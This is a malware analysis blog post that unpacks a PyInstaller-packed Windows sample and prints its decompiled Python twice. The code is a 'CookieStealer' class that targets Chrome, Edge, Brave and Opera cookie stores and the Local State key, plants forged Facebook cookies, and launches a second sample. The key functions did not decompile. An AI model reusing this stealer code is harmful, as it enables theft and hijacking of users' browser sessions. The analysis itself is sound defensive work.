Avatar
An incident responder who's seeking opportunities to work in technology company!
Operator in Cookie Han Hoan
Admin in Cyber Mely, CyberSpace
Forensic at @World Wide Flags

Malware Analysis - Real Case 3

Hi everyone, I have not posted anything for 1 month because of my military course. This time I have sweared that I will post as much articles as possible, and now it’s part 3 of malware analysis. Let’s go!

Sample: click here to see it

Let’s start opening file in IDA:

image

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // rbx
  unsigned int *v5; // rax
  __int64 v6; // rax

  v4 = *(_QWORD *)sub_14000F520(argc, argv, envp);
  v5 = (unsigned int *)sub_14000F518();
  v6 = sub_140007A10(*v5, v4);
  return sub_140002AA0((unsigned int)argc, v6);
}

In this code they called 4 functions: sub_14000F520, sub_14000F518, sub_140007A10 and sub_140002AA0. The last line made me feel suspicious, I deeped into that function:

__int64 __fastcall sub_140002AA0(unsigned int a1, _QWORD *a2)
{
  FILE *v4; // rax
  __int64 v5; // rdi
  BOOL v6; // esi
  const CHAR *v7; // r14
  BOOL v8; // r15d
  unsigned __int8 *v9; // rax
  int v10; // ebx
  FILE *v11; // rbx
  unsigned int v12; // eax
  const char *v13; // rax
  const char *v14; // rsi
  const char *v15; // rcx
  __int64 v17; // rax
  unsigned __int8 *v18; // rax
  int v19; // ecx
  int v20; // edx
  char *v21; // rbx
  char v22; // al
  unsigned int v23; // ebx
  unsigned int v24; // ebx
  __int64 v25; // [rsp+20h] [rbp-E0h] BYREF
  __int64 Buf2; // [rsp+28h] [rbp-D8h] BYREF
  char v27[4096]; // [rsp+30h] [rbp-D0h] BYREF
  char v28[4096]; // [rsp+1030h] [rbp+F30h] BYREF
  WCHAR PathName[4096]; // [rsp+2030h] [rbp+1F30h] BYREF

  v4 = _acrt_iob_func(2u);
  setbuf(v4, 0LL);
  v5 = sub_140001EB0();
  if ( !v5 || !(unsigned int)sub_1400030A0(v27, *a2) || !(unsigned int)sub_140002F70(v28, v27) )
    return 0xFFFFFFFFLL;
  v6 = 0;
  v7 = (const CHAR *)sub_140006D70("_MEIPASS2");
  v8 = v7 != 0LL;
  if ( v7 )
  {
    v9 = (unsigned __int8 *)sub_140006D70("_PYI_ONEDIR_MODE");
    if ( v9 )
    {
      v10 = *v9 - 49;
      if ( *v9 == 49 )
        v10 = v9[1];
      free(v9);
      sub_140007250("_PYI_ONEDIR_MODE");
      if ( v10 )
        v6 = v7 != 0LL;
      v8 = v6;
    }
  }
  sub_140007250("_MEIPASS2");
  if ( !(unsigned int)sub_140001CB0(v5, v27, v27) )
  {
    if ( !(unsigned int)sub_140001CB0(v5, v28, v27) )
    {
      sub_140002010("Cannot open PyInstaller archive from executable (%s) or external archive (%s)\n", v27, v28);
      return 0xFFFFFFFFLL;
    }
    if ( !v7 )
    {
      v11 = (FILE *)sub_1400031B0(v27, "rb");
      if ( !v11 )
      {
        v12 = -1;
LABEL_19:
        sub_140002010("Cannot side-load external archive %s (code %d)!\n", v28, v12);
        return 0xFFFFFFFFLL;
      }
      Buf2 = 0xE0B0A0B0D49454DLL;
      if ( !sub_1400074C0(v11, &Buf2, 8uLL) )
      {
        fclose(v11);
        v12 = 1;
        goto LABEL_19;
      }
    }
  }
  v13 = (const char *)sub_140001A00(v5, "pyi-hide-console");
  v14 = v13;
  if ( v13 )
  {
    if ( !strcmp(v13, "hide-early") )
    {
      sub_140007BE0();
    }
    else if ( !strcmp(v14, "minimize-early") )
    {
      sub_140007E30();
    }
  }
  *(_DWORD *)(v5 + 20604) = a1;
  *(_QWORD *)(v5 + 20608) = a2;
  if ( !v8 && *(_DWORD *)(v5 + 20592) )
  {
    if ( (unsigned int)sub_140007C30() == -1 )
    {
      v15 = "Failed to initialize security descriptor for temporary directory!\n";
LABEL_29:
      sub_140002010(v15);
      return 0xFFFFFFFFLL;
    }
    if ( (unsigned int)sub_1400014F0(v5) == -1 )
      return 0xFFFFFFFFLL;
  }
  if ( v7 || !*(_DWORD *)(v5 + 20592) && (v7 = (const CHAR *)(v5 + 8304), v5 != -8304) )
  {
    if ( !sub_1400080B0(PathName, v7, 4096) )
    {
      v15 = "Failed to convert DLL search path!\n";
      goto LABEL_29;
    }
    SetDllDirectoryW(PathName);
  }
  v17 = sub_140005FF0();
  v25 = v17;
  if ( !v8 && !(unsigned int)sub_140005CA0(v17, v5) )
  {
    if ( !(unsigned int)sub_140005800(v5, v25) && !(unsigned int)sub_140005780(v25) )
    {
      sub_140005E40(v25, v27);
      goto LABEL_45;
    }
    sub_140005A50(v25);
  }
  sub_140005F70(&v25);
LABEL_45:
  if ( v7 )
  {
    v18 = (unsigned __int8 *)(v5 + 8304);
    do
    {
      v19 = (unsigned __int8)v7[(_QWORD)v18 - 8304 - v5];
      v20 = *v18 - v19;
      if ( v20 )
        break;
      ++v18;
    }
    while ( v19 );
    if ( v20 )
    {
      v21 = (char *)(v5 + 12400);
      if ( swprintf((wchar_t *const)(v5 + 12400), 0x1000uLL, "%s", v7) >= 4096 )
        return 0xFFFFFFFFLL;
      *(_DWORD *)(v5 + 20596) = 1;
      do
      {
        v22 = *v21;
        v21[4096] = *v21;
        ++v21;
      }
      while ( v22 );
    }
    if ( v14 )
    {
      if ( !strcmp(v14, "hide-late") )
      {
        sub_140007BE0();
      }
      else if ( !strcmp(v14, "minimize-late") )
      {
        sub_140007E30();
      }
    }
    v23 = sub_140002670(v5);
    sub_140002820(v5);
    sub_140005A50(v25);
    sub_140005F70(&v25);
    return v23;
  }
  else
  {
    if ( (unsigned int)sub_1400026D0(v5, v25) )
      return 0xFFFFFFFFLL;
    sub_140007BB0();
    sub_1400071E0("_MEIPASS2", (LPCCH)(v5 + 12400));
    sub_140006D70("_MEIPASS2");
    if ( v14 )
    {
      if ( !strcmp(v14, "hide-late") )
      {
        sub_140007BE0();
      }
      else if ( !strcmp(v14, "minimize-late") )
      {
        sub_140007E30();
      }
    }
    v24 = sub_140007290(v27, v5, a1, a2);
    sub_140005A50(v25);
    sub_140005F70(&v25);
    if ( *(_DWORD *)(v5 + 20596) == 1 )
      sub_140006F50(v5 + 12400);
    sub_140001E80((void *)v5);
    return v24;
  }
}

You can see a string: “Cannot open PyInstaller archive from executable…”, at that moment I’ve thought it must be an executable file packed by Pyinstaller. To demonstrate my thinking, first I string that exe file to see inside:

image

When I found this, I knew that my thinking was correct, and next I used pyinstxtractor to unpack that exe file:

image

Very nice now, and you can see the main function in main.pyc, to decrypt content of pyc file, we will use uncompyle6:

import os, json, glob, base64, sqlite3, random, string, subprocess
from datetime import datetime, timedelta
from os import path
import win32crypt
from Crypto.Cipher import AES

def random_string(len, chars=string.ascii_letters + string.digits):
    return "".join((random.choice(chars) for _ in range(len)))


class Cookie:

    def __init__(self, creation_utc=None, host_key=None, top_frame_site_key=None, name=None, value=None, encrypted_value=None, path=None, expires_utc=None, is_secure=None, is_httponly=None, last_access_utc=None, has_expires=None, is_persistent=None, priority=None, samesite=None, source_scheme=None, source_port=None, last_update_utc=None):
        self.creation_utc = creation_utc if creation_utc is not None else int((datetime.now() - datetime(1601, 1, 1)).total_seconds() * 10000000)
        self.host_key = host_key
        self.top_frame_site_key = top_frame_site_key if top_frame_site_key is not None else " "
        self.name = name
        self.value = value if value is not None else " "
        self.encrypted_value = encrypted_value
        self.path = path if path is not None else "/"
        self.expires_utc = expires_utc if expires_utc is not None else int((datetime.now() + timedelta(days=360) - datetime(1601, 1, 1)).total_seconds() * 10000000)
        self.is_secure = is_secure if is_secure is not None else 0
        self.is_httponly = is_httponly if is_httponly is not None else 0
        self.last_access_utc = last_access_utc if last_access_utc is not None else self.creation_utc
        self.has_expires = has_expires if has_expires is not None else 1
        self.is_persistent = is_persistent if is_persistent is not None else 1
        self.priority = priority if priority is not None else 1
        self.samesite = samesite if samesite is not None else 0
        self.source_scheme = source_scheme if source_scheme is not None else 2
        self.source_port = source_port if source_port is not None else 443
        self.last_update_utc = last_update_utc if last_update_utc is not None else self.creation_utc


COOKIE_MAP = {"facebook": [
              Cookie(host_key=".facebook.com", name="c_user", encrypted_value=(str(random.randint(100000000, 999999999)))),
              Cookie(host_key=".facebook.com", name="datr", encrypted_value=(random_string(10) + "-" + random_string(11) + "_S")),
              Cookie(host_key=".facebook.com", name="fr", encrypted_value=(random_string(17) + "." + random_string(27) + "." + random_string(6) + "IE.AAA.0.0." + random_string(6) + "." + random_string(11))),
              Cookie(host_key=".facebook.com", name="ps_l", encrypted_value="0"),
              Cookie(host_key=".facebook.com", name="ps_n", encrypted_value="0"),
              Cookie(host_key=".facebook.com", name="wd", encrypted_value=(random_string(7))),
              Cookie(host_key=".facebook.com", name="xs", encrypted_value=(random_string(len=2, chars=(string.digits)) + "%3A" + random_string(14) + "%3A" + random_string(1, string.digits) + "%3A" + random_string(10, string.digits) + "%3A-1%3A" + random_string(3, string.digits) + "%3A%3A" + random_string(16) + "--" + random_string(16) + "-" + random_string(7)))]}
BROWSER_MAP = {'Chrome':{"BROWSER_PATH": (os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data"))}, 
 'Edge':{"BROWSER_PATH": (os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data"))}, 
 'Brave':{"BROWSER_PATH": (os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data"))}, 
 'Opera':{"BROWSER_PATH": (os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Opera Software", "Opera Stable"))}}

class CookieStealer:

    def __init__(self, browser_name, browser_path):
        if browser_name in ('Chrome', 'Edge', 'Opera', 'Brave'):
            self.local_state_path = os.path.join(browser_path, "Local State")
            self.cookies_path = []
            for cookie_path in glob.iglob((browser_path + "\\**\\Cookies"), recursive=True):
                self.cookies_path.append(cookie_path)
            else:
                if not self.cookies_path:
                    raise Exception("[!] Cookie file not found")
                if not os.path.isfile(self.local_state_path):
                    raise Exception("[!] Local State file not found")
                self.key = self.get_encryption_key()

            if self.key is None:
                raise Exception("[!] Unable to read key from Local State File")
        else:
            raise Exception("[!] Browser not supported")

    def get_encryption_keyParse error at or near `LOAD_CONST' instruction at offset 64

    def decrypt_dataParse error at or near `SETUP_FINALLY' instruction at offset 78

    def encrypt_dataParse error at or near `POP_TOP' instruction at offset 116

    def add_cookieParse error at or near `POP_TOP' instruction at offset 44

    def read_cookiesParse error at or near `POP_TOP' instruction at offset 56


def spawn_sampleParse error at or near `CALL_FINALLY' instruction at offset 92


def main():
    cs = None
    for browser in BROWSER_MAP:
        try:
            cs = CookieStealer(browser, BROWSER_MAP[browser]["BROWSER_PATH"])
        except Exception as e:
            try:
                print(e)
            finally:
                e = None
                del e

        else:
            if cs:
                print(f"====== ADDING {browser} COOKIES ==========")

    for app in COOKIE_MAP:
        for cookie in COOKIE_MAP[app]:
            if cs.add_cookie(cookie):
                print(f"[+] {browser}: {app} added cookie {cookie.name}")
        else:
            print(f"====== READING {browser} COOKIES ==========")
            cs.read_cookies()
            print("====== END OF COOKIES ==========")
            print("")

    else:
        print("[+] Spawning Sample 420cb16399ade8b53834b8275069ff940641f0eb2379c17c2259c0542c576c49")
        spawn_sample()
        print("[+] Done!")


if __name__ == "__main__":
    request = main()

We can see easily two classes: Cookie and CookieStealer, and I’ve just analysed functions that not error when I use uncompyle6:

The Cookie class is used to represent a browser cookie with several attributes. It initializes each attribute, providing default values when none are specified:

  class Cookie:
  
      def __init__(self, creation_utc=None, host_key=None, top_frame_site_key=None, name=None, value=None, encrypted_value=None, path=None, expires_utc=None, is_secure=None, is_httponly=None, last_access_utc=None, has_expires=None, is_persistent=None, priority=None, samesite=None, source_scheme=None, source_port=None, last_update_utc=None):
          self.creation_utc = creation_utc if creation_utc is not None else int((datetime.now() - datetime(1601, 1, 1)).total_seconds() * 10000000)
          self.host_key = host_key
          self.top_frame_site_key = top_frame_site_key if top_frame_site_key is not None else " "
          self.name = name
          self.value = value if value is not None else " "
          self.encrypted_value = encrypted_value
          self.path = path if path is not None else "/"
          self.expires_utc = expires_utc if expires_utc is not None else int((datetime.now() + timedelta(days=360) - datetime(1601, 1, 1)).total_seconds() * 10000000)
          self.is_secure = is_secure if is_secure is not None else 0
          self.is_httponly = is_httponly if is_httponly is not None else 0
          self.last_access_utc = last_access_utc if last_access_utc is not None else self.creation_utc
          self.has_expires = has_expires if has_expires is not None else 1
          self.is_persistent = is_persistent if is_persistent is not None else 1
          self.priority = priority if priority is not None else 1
          self.samesite = samesite if samesite is not None else 0
          self.source_scheme = source_scheme if source_scheme is not None else 2
          self.source_port = source_port if source_port is not None else 443
          self.last_update_utc = last_update_utc if last_update_utc is not None else self.creation_utc
  
  
  COOKIE_MAP = {"facebook": [
                Cookie(host_key=".facebook.com", name="c_user", encrypted_value=(str(random.randint(100000000, 999999999)))),
                Cookie(host_key=".facebook.com", name="datr", encrypted_value=(random_string(10) + "-" + random_string(11) + "_S")),
                Cookie(host_key=".facebook.com", name="fr", encrypted_value=(random_string(17) + "." + random_string(27) + "." + random_string(6) + "IE.AAA.0.0." + random_string(6) + "." + random_string(11))),
                Cookie(host_key=".facebook.com", name="ps_l", encrypted_value="0"),
                Cookie(host_key=".facebook.com", name="ps_n", encrypted_value="0"),
                Cookie(host_key=".facebook.com", name="wd", encrypted_value=(random_string(7))),
                Cookie(host_key=".facebook.com", name="xs", encrypted_value=(random_string(len=2, chars=(string.digits)) + "%3A" + random_string(14) + "%3A" + random_string(1, string.digits) + "%3A" + random_string(10, string.digits) + "%3A-1%3A" + random_string(3, string.digits) + "%3A%3A" + random_string(16) + "--" + random_string(16) + "-" + random_string(7)))]}
  BROWSER_MAP = {'Chrome':{"BROWSER_PATH": (os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data"))}, 
   'Edge':{"BROWSER_PATH": (os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data"))}, 
   'Brave':{"BROWSER_PATH": (os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data"))}, 
   'Opera':{"BROWSER_PATH": (os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Opera Software", "Opera Stable"))}}
  • creation_utc: The creation time of the cookie in microseconds. Default is the current time.
  • host_key: The domain for which the cookie is valid.
  • top_frame_site_key: The top-level frame site key, defaulting to an empty string.
  • name: The name of the cookie.
  • value: The value of the cookie, defaulting to an empty string.
  • encrypted_value: The encrypted value of the cookie (used for sensitive data).
  • path: The URL path within the domain that the cookie is valid for, defaulting to “/”.
  • expires_utc: The expiration time of the cookie in microseconds since January 1, 1601. Defaults to 360 days from the current time.
  • is_secure: Boolean indicating whether the cookie is secure (1 for secure, 0 otherwise). Defaults to 0.
  • is_httponly: Boolean indicating whether the cookie is HTTP-only (1 for HTTP-only, 0 otherwise). Defaults to 0.
  • last_access_utc: The last access time of the cookie, defaults to the creation time.
  • has_expires: Boolean indicating whether the cookie has an expiration date (1 if it does, 0 otherwise). Defaults to 1.
  • is_persistent: Boolean indicating whether the cookie is persistent (1 if it is, 0 otherwise). Defaults to 1.
  • priority: Priority level of the cookie, defaulting to 1.
  • samesite: SameSite attribute of the cookie (0 is unspecified, 1 is Lax, 2 is Strict). Defaults to 0.
  • source_scheme: Indicates the scheme of the source (2 for HTTPS, 1 for HTTP). Defaults to 2.
  • source_port: Port of the source server. Defaults to 443 (standard HTTPS port).
  • last_update_utc: Last time the cookie was updated, defaulting to the creation time

With COOKIE_MAP variable, it defines cookies like c_user, datr, fr, ps_l, ps_n, wd, xs with specific values, which are typically expected by Facebook.

  • host_key: The domain .facebook.com is set for all the cookies.
  • encrypted_value: The value of each cookie is either randomly generated using helper functions like random.randint or random_string, or set to a static value like “0”.

With BROWSER_MAP, this dictionary maps browser names to their respective local paths where user data, including cookies, might be stored:

  • Chrome: Points to the Chrome browser’s user data directory.
  • Edge: Points to the Edge browser’s user data directory.
  • Brave: Points to the Brave browser’s user data directory.
  • Opera: Points to the Opera browser’s user data directory.
class CookieStealer:

    def __init__(self, browser_name, browser_path):
        if browser_name in ('Chrome', 'Edge', 'Opera', 'Brave'):
            self.local_state_path = os.path.join(browser_path, "Local State")
            self.cookies_path = []
            for cookie_path in glob.iglob((browser_path + "\\**\\Cookies"), recursive=True):
                self.cookies_path.append(cookie_path)
            else:
                if not self.cookies_path:
                    raise Exception("[!] Cookie file not found")
                if not os.path.isfile(self.local_state_path):
                    raise Exception("[!] Local State file not found")
                self.key = self.get_encryption_key()

            if self.key is None:
                raise Exception("[!] Unable to read key from Local State File")
        else:
            raise Exception("[!] Browser not supported")

    def get_encryption_keyParse error at or near `LOAD_CONST' instruction at offset 64

    def decrypt_dataParse error at or near `SETUP_FINALLY' instruction at offset 78

    def encrypt_dataParse error at or near `POP_TOP' instruction at offset 116

    def add_cookieParse error at or near `POP_TOP' instruction at offset 44

    def read_cookiesParse error at or near `POP_TOP' instruction at offset 56


def spawn_sampleParse error at or near `CALL_FINALLY' instruction at offset 92


def main():
    cs = None
    for browser in BROWSER_MAP:
        try:
            cs = CookieStealer(browser, BROWSER_MAP[browser]["BROWSER_PATH"])
        except Exception as e:
            try:
                print(e)
            finally:
                e = None
                del e

        else:
            if cs:
                print(f"====== ADDING {browser} COOKIES ==========")

    for app in COOKIE_MAP:
        for cookie in COOKIE_MAP[app]:
            if cs.add_cookie(cookie):
                print(f"[+] {browser}: {app} added cookie {cookie.name}")
        else:
            print(f"====== READING {browser} COOKIES ==========")
            cs.read_cookies()
            print("====== END OF COOKIES ==========")
            print("")

    else:
        print("[+] Spawning Sample 420cb16399ade8b53834b8275069ff940641f0eb2379c17c2259c0542c576c49")
        spawn_sample()
        print("[+] Done!")


if __name__ == "__main__":
    request = main()

The CookieStealer class is designed to locate, decrypt, and manage cookies from a specified browser. The initialization and structure are intended to work as follows:

  • Checks if the browser is supported (Chrome, Edge, Opera, Brave). If not, it raises an exception.
  • Locates the “Local State” file: This file stores the encryption key used by the browser to encrypt/decrypt cookies.
  • Finds the “Cookies” file: The method recursively searches for the Cookies file within the browser’s directory.
  • Raises an exception if the Cookies file or Local State file is not found.
  • Retrieves the encryption key from the Local State file using the get_encryption_key method (which has an error).

Also with some functions that got error, look at their name also our previous code, we can still guest their mechanisms:

  • get_encryption_key: Intended to retrieve the encryption key from the Local State file, which would be used to decrypt the cookies.
  • decrypt_data: Intended to decrypt the encrypted cookie data using the retrieved encryption key.
  • encrypt_data: Intended to encrypt data using the encryption key.
  • add_cookie: Intended to add a new cookie to the browser’s cookie file.
  • read_cookies: Intended to read and possibly manipulate or display the cookies stored in the browser’s cookie file.

With the main function, it will work like this:

  • For each browser in BROWSER_MAP, the script attempts to create an instance of CookieStealer. If it fails (e.g., due to unsupported browser or missing files), it catches the exception and prints the error message. If successful, it prints a message indicating that cookies are being added.
  • For each application in COOKIE_MAP (e.g., facebook), it tries to add cookies using the add_cookie method. It prints a success message if the cookie is added.
  • After adding cookies, it reads them back using the read_cookies method and prints them.
  • At the end, it calls spawn_sample() to spawn a new sample with SHA256 sum is 420cb16399ade8b53834b8275069ff940641f0eb2379c17c2259c0542c576c49:

    image

MITRE ATT&CK: 4 tactics, 11 techniques:

image

Thank you for reading my articles. See you in the next articles in the future. Bye ❤️❤️❤️

all tags